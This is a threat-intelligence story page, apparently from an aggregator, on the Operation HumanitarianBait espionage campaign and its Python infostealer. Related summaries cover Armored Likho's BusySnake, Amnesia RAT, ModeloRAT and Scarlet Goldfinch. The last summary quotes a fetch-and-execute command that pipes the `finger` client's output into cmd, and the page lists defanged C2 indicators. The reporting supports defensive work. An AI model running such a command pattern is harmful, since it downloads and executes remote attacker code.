Loading story…
Researchers reported an active cyberespionage campaign dubbed Operation HumanitarianBait that uses Russian-language humanitarian aid request themes to lure victims into opening a malicious .lnk file packaged inside a .rar archive. The shortcut launches PowerShell to decode obfuscated content, opens a decoy humanitarian aid PDF to distract the user, and silently installs a fileless, PE-less Python implant from GitHub Releases into a fake WindowsHelper directory under %APPDATA%. The payload is protected with PyArmor v9.2 Pro, helping it evade scrutiny while blending into legitimate developer traffic.
Once installed, the malware establishes persistence through VBScript launchers and a recurring Windows Scheduled Task, then conducts broad surveillance and theft. Reported capabilities include browser credential and cookie theft, keylogging, clipboard and screenshot capture, file theft, and Telegram session theft, with optional covert remote access through RustDesk or AnyDesk. Stolen data is exfiltrated to a live custom Flask-based command-and-control server at 159.198.41[.]140 on a Namecheap VPS, and researchers said the Russian-language lures suggest the operation is aimed at Russian-speaking individuals or organizations, including those tied to aid distribution, civil administration, or government functions.
Pull IOCs and campaign context straight into your stack.
1 event from the most recent confirmed update back to the earliest known activity.
Cyble Research and Intelligence Labs reported an active cyberespionage campaign dubbed Operation HumanitarianBait that uses Russian-language humanitarian aid lures in phishing emails to deliver a malicious LNK file inside a RAR archive. The campaign installs a fileless, PE-less Python implant hosted on GitHub Releases, establishes persistence, steals credentials and other data, and communicates with a live C2 server at 159.198.41[.]140; attribution was not confirmed.
Vulnerabilities, threat actors, malware, products, organizations, breaches, and observables Mallory has linked to this story. Indicator values are masked here and available in full in the app.
Indicator values are masked on this page. See the values in Mallory Domains, IPs, hashes, and URLs are exportable to your SIEM.
Pull the IOCs, campaigns, and victimology behind this family, ready to push into your SIEM and EDR.
3 references tracked. Mallory keeps watching after this page renders.
hackread.com
Open sourcecybersecuritynews.com
Open sourcecyble.com
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
**Armored Likho** (also tracked as **Eagle Werewolf**) is running a spear-phishing campaign against government agencies and electrical power organizations in **Russia, Brazil, and Kazakhstan**, using lures themed as official notices, humanitarian aid requests, and social programs. Victims are enticed into opening malicious archives or `.lnk` files, including files that abuse `ZDI-CAN-25373`, which launch staged loaders, decoy documents, and PowerShell activity before downloading Python components from GitHub such as **Python 3.12**, `get-pip.py`, and the main payload `module.pyw` to install the **BusySnake Stealer**. BusySnake is a Python-based, heavily obfuscated infostealer protected with **PyArmor Pro 9.2.0** that steals browser credentials and cookies, screenshots, clipboard data, documents, Telegram session files, 2FA-related data, and cryptocurrency wallet information. Researchers said newer variants delay execution for anti-analysis, change persistence through scheduled tasks and Windows component interfaces, add a task-status command-and-control framework, and support in-memory execution of arbitrary Python scripts, while the broader toolset can also deploy **RustDesk** and use reverse SSH tunneling for remote access. Attribution to Armored Likho was made with medium confidence based on overlaps with earlier tools including **Go2Tunnel** and **AquilaRAT**, and some first-stage loaders showed signs of possible AI-assisted generation.
Jul 13, 2026
Armored Likho, a previously undocumented APT group also linked by indirect indicators to **Eagle Werewolf**, has been running a spear-phishing campaign against government agencies and electric power organizations in **Russia, Kazakhstan, and Brazil**. The attackers deliver a newly identified Python-based infostealer, **BusySnake Stealer**, through archive attachments containing either NSIS-built executable droppers or malicious `.lnk` files, including samples that abuse `ZDI-CAN-25373` to conceal command-line arguments. Researchers said the malware is heavily obfuscated with **PyArmor** and that some first-stage loaders appear to be AI-generated, complicating attribution while preserving the group’s broader tradecraft. Once installed, BusySnake establishes persistence with **VBScript** and scheduled tasks, then steals browser passwords, cookies, clipboard contents, screenshots, documents, Telegram session data, OTP secrets, and cryptocurrency wallet files. The malware also supports reverse SSH tunneling and remote control, downloads Python runtimes and dependencies, and in newer variants fetches and executes Python payloads directly in memory while tracking task status through an updated C2 framework. Reported infrastructure includes `159.198.41[.]140` and `grked[.]online`, and researchers noted architectural overlap with **AquilaRAT** and functional similarities to **Go2Tunnel**, reinforcing the attribution to Armored Likho.
Jul 12, 2026
Multiple threat reports describe **social-engineering-driven malware delivery** leading to remote access and follow-on payload deployment. Fortinet observed a **multi-stage phishing campaign targeting users in Russia** that delivers **Amnesia RAT** and ransomware via business-themed decoy documents and a malicious `.lnk` shortcut using a double extension (e.g., `*.txt.lnk`). The infection chain uses public cloud services for staging—**GitHub** for scripts and **Dropbox** for binary payloads—and abuses **defendnot** to trick Windows into believing a third-party AV is installed, effectively disabling **Microsoft Defender** before later-stage execution. Separately, Huntress attributed activity to **KongTuke**, which uses **malicious browser extensions** to display fake “browser crash” security alerts (“**CrashFix**”) that pressure users into running attacker-provided commands, and also deploys a Python RAT dubbed **ModeloRAT**. ModeloRAT is described as heavily obfuscated, using **Windows Registry** persistence and **RC4**-encrypted communications, with the ability to deliver additional payloads (DLLs, executables, scripts). Red Canary’s January intelligence update highlights **Scarlet Goldfinch** activity using **paste-and-run** lures and a notable technique of using the Windows `finger` client to pull remote content (e.g., `finger user@IP | cmd`), followed by `curl` download of an archive masquerading as a PDF and extraction via `tar -xf`, culminating in **Remcos** (and sometimes **NetSupport**) delivered via **DLL sideloading**.
Jun 29, 2026